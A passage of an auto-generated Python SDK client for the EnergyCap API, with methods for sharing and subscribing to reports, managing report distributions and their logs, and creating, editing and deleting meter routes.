return client_raw_response
return deserialized
get_report_sharing_details.metadata = {'url': '/api/v3/report/{specificReportId}/share'}
def share_saved_report(
self, specific_report_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Share a saved report with other users.
:param specific_report_id: ID of the saved report to share
:type specific_report_id: int
:param body: Updated sharing details for the report
:type body: ~energycap.sdk.models.ShareRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ShareResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ShareResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.share_saved_report.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ShareRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ShareResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
share_saved_report.metadata = {'url': '/api/v3/report/{specificReportId}/share'}
def toggle_shared_report_visibility(
self, specific_report_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the visibility of a report for the current user
This must be a report you can see
Which means you must have created the report
or have ReportAdministrator Manage permission and the report is shared
at all
or have SharedReports View permission and the report is shared with
you.
:param specific_report_id: Specific dashboard
:type specific_report_id: int
:param body: Set Visibility
:type body: ~energycap.sdk.models.ToggleVisible
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecificReportResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecificReportResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.toggle_shared_report_visibility.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ToggleVisible')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecificReportResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
toggle_shared_report_visibility.metadata = {'url': '/api/v3/report/{specificReportId}/visible'}
def create_report_subscription(
self, specific_report_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Subscribe to a report and receive scheduled emails
This must be a saved report that belongs to or is shared with the
current user
Only SSRS reports are supported.
:param specific_report_id:
:type specific_report_id: int
:param body:
:type body: ~energycap.sdk.models.ReportSubscriptionRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecificReportResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecificReportResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_report_subscription.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportSubscriptionRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecificReportResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_report_subscription.metadata = {'url': '/api/v3/report/{specificReportId}/subscription'}
def edit_report_subscription(
self, specific_report_id, report_subscription_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a report subscription
This must be a subscription that belongs to the current user.
:param specific_report_id:
:type specific_report_id: int
:param report_subscription_id:
:type report_subscription_id: int
:param body:
:type body: ~energycap.sdk.models.ReportSubscriptionRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecificReportResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecificReportResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_report_subscription.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int'),
'reportSubscriptionId': self._serialize.url("report_subscription_id", report_subscription_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportSubscriptionRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecificReportResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_report_subscription.metadata = {'url': '/api/v3/report/{specificReportId}/subscription/{reportSubscriptionId}'}
def delete_report_subscription(
self, specific_report_id, report_subscription_id, custom_headers=None, raw=False, **operation_config):
"""Delete a report subscription
This must be a subscription that belongs to the current user.
:param specific_report_id:
:type specific_report_id: int
:param report_subscription_id:
:type report_subscription_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_report_subscription.metadata['url']
path_format_arguments = {
'specificReportId': self._serialize.url("specific_report_id", specific_report_id, 'int'),
'reportSubscriptionId': self._serialize.url("report_subscription_id", report_subscription_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_report_subscription.metadata = {'url': '/api/v3/report/{specificReportId}/subscription/{reportSubscriptionId}'}
def get_report_subscription_schedule_types(
self, custom_headers=None, raw=False, **operation_config):
"""Get a list of all available report subscription schedule types, and
their day indicator values.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.ReportSubscriptionScheduleTypeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_subscription_schedule_types.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ReportSubscriptionScheduleTypeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_subscription_schedule_types.metadata = {'url': '/api/v3/report/subscription/scheduletype'}
def get_report_distributions(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get all Report Distributions.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ReportDistributionDetailsResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_distributions.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ReportDistributionDetailsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_distributions.metadata = {'url': '/api/v202106/reportdistribution'}
def create_report_distribution(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a Report Distribution.
:param body: Data representing the report distribution being created
:type body: ~energycap.sdk.models.ReportDistributionCreateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportDistributionDetailsResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.ReportDistributionDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_report_distribution.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportDistributionCreateRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportDistributionDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_report_distribution.metadata = {'url': '/api/v202106/reportdistribution'}
def get_report_distribution(
self, report_distribution_id, custom_headers=None, raw=False, **operation_config):
"""Get a Report Distribution.
:param report_distribution_id: Id of the report distribution to get
:type report_distribution_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportDistributionDetailsResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.ReportDistributionDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_distribution.metadata['url']
path_format_arguments = {
'reportDistributionId': self._serialize.url("report_distribution_id", report_distribution_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportDistributionDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_distribution.metadata = {'url': '/api/v202106/reportdistribution/{reportDistributionId}'}
def edit_report_distribution(
self, report_distribution_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a Report Distribution.
:param report_distribution_id: Id of the report distribution to edit
:type report_distribution_id: int
:param body: Data representing the report distribution being edited
:type body: ~energycap.sdk.models.ReportDistributionEditRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportDistributionDetailsResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.ReportDistributionDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_report_distribution.metadata['url']
path_format_arguments = {
'reportDistributionId': self._serialize.url("report_distribution_id", report_distribution_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReportDistributionEditRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportDistributionDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_report_distribution.metadata = {'url': '/api/v202106/reportdistribution/{reportDistributionId}'}
def delete_report_distribution(
self, report_distribution_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a Report Distribution.
:param report_distribution_id: Id of the report distribution to delete
:type report_distribution_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_report_distribution.metadata['url']
path_format_arguments = {
'reportDistributionId': self._serialize.url("report_distribution_id", report_distribution_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_report_distribution.metadata = {'url': '/api/v202106/reportdistribution/{reportDistributionId}'}
def run_report_distributions(
self, custom_headers=None, raw=False, **operation_config):
"""Run all report distributions
Sends reports based on configured schedule
DistributedReportSettings - Manage permission required.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.run_report_distributions.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
run_report_distributions.metadata = {'url': '/api/v202106/reportdistribution/exec'}
def get_report_distribution_filters(
self, report_distribution_id, custom_headers=None, raw=False, **operation_config):
"""Get a Report Distribution Filters.
:param report_distribution_id: Id of the report distribution to get
:type report_distribution_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_distribution_filters.metadata['url']
path_format_arguments = {
'reportDistributionId': self._serialize.url("report_distribution_id", report_distribution_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_distribution_filters.metadata = {'url': '/api/v202106/reportdistribution/{reportDistributionId}/filter'}
def execute_report_distribution(
self, report_distribution_id, override_user_ids=None, custom_headers=None, raw=False, **operation_config):
"""Run a report distribution and send the report out immediately
This does not affect the current distribution schedule.
:param report_distribution_id: Id of the report distribution to run
:type report_distribution_id: int
:param override_user_ids: List of systemuserIds to send the
distribution to. If not provided the currently configured recipients
will receive the report. If this is provided it is used in place of
the currently configured recipients
:type override_user_ids: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportDistributionLogResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.ReportDistributionLogResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.execute_report_distribution.metadata['url']
path_format_arguments = {
'reportDistributionId': self._serialize.url("report_distribution_id", report_distribution_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if override_user_ids is not None:
query_parameters['overrideUserIds'] = self._serialize.query("override_user_ids", override_user_ids, '[int]', div=',')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportDistributionLogResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
execute_report_distribution.metadata = {'url': '/api/v202106/reportdistribution/{reportDistributionId}/exec'}
def get_report_distribution_logs(
self, include_in_progress=False, custom_headers=None, raw=False, **operation_config):
"""Get a list of report distribution logs.
:param include_in_progress: Option to include in progress
distributions. False by default
:type include_in_progress: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ReportDistributionLogResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_distribution_logs.metadata['url']
# Construct parameters
query_parameters = {}
if include_in_progress is not None:
query_parameters['includeInProgress'] = self._serialize.query("include_in_progress", include_in_progress, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ReportDistributionLogResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_distribution_logs.metadata = {'url': '/api/v202106/reportdistribution/log'}
def delete_report_distribution_logs_older_than(
self, older_than_days=3, custom_headers=None, raw=False, **operation_config):
"""Delete report distribution logs older than the number of days provided
only if
the number of logs per distribution is in excess of 100.
100 latest logs per distribution will always be maintained.
:param older_than_days: Defaults to 3
:type older_than_days: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_report_distribution_logs_older_than.metadata['url']
# Construct parameters
query_parameters = {}
if older_than_days is not None:
query_parameters['olderThanDays'] = self._serialize.query("older_than_days", older_than_days, 'int')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_report_distribution_logs_older_than.metadata = {'url': '/api/v202106/reportdistribution/log'}
def get_report_distribution_log_details(
self, report_distribution_log_id, custom_headers=None, raw=False, **operation_config):
"""Get the details for a report distribution log.
:param report_distribution_log_id: Id of the report distribution log
to get the details for
:type report_distribution_log_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReportDistributionLogDetailsResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.ReportDistributionLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_report_distribution_log_details.metadata['url']
path_format_arguments = {
'reportDistributionLogId': self._serialize.url("report_distribution_log_id", report_distribution_log_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReportDistributionLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_report_distribution_log_details.metadata = {'url': '/api/v202106/reportdistribution/log/{reportDistributionLogId}/detail'}
def get_routes(
self, custom_headers=None, raw=False, **operation_config):
"""Retrieves all routes.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.RouteResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_routes.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[RouteResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_routes.metadata = {'url': '/api/v3/route'}
def create_route(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a new route and assigns a group of meters to it.
:param body: Data representing the route being created
:type body: ~energycap.sdk.models.RouteRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RouteResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RouteResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_route.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RouteRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RouteResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_route.metadata = {'url': '/api/v3/route'}
def get_route(
self, id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one route.
:param id: The identifier for route being retrieved
:type id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RouteResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RouteResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_route.metadata['url']
path_format_arguments = {
'id': self._serialize.url("id", id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RouteResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_route.metadata = {'url': '/api/v3/route/{id}'}
def delete_route(
self, id, custom_headers=None, raw=False, **operation_config):
"""Deletes a route.
:param id: The identifier for the route being deleted
:type id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_route.metadata['url']
path_format_arguments = {
'id': self._serialize.url("id", id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_route.metadata = {'url': '/api/v3/route/{id}'}
def edit_route(
self, id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a route.
:param id: The identifier for the route being edited
:type id: int
:param body: Data representing the route being edited
:type body: ~energycap.sdk.models.RouteRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RouteResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RouteResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_route.metadata['url']
path_format_arguments = {
'id': self._serialize.url("id", id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'RouteRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RouteResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
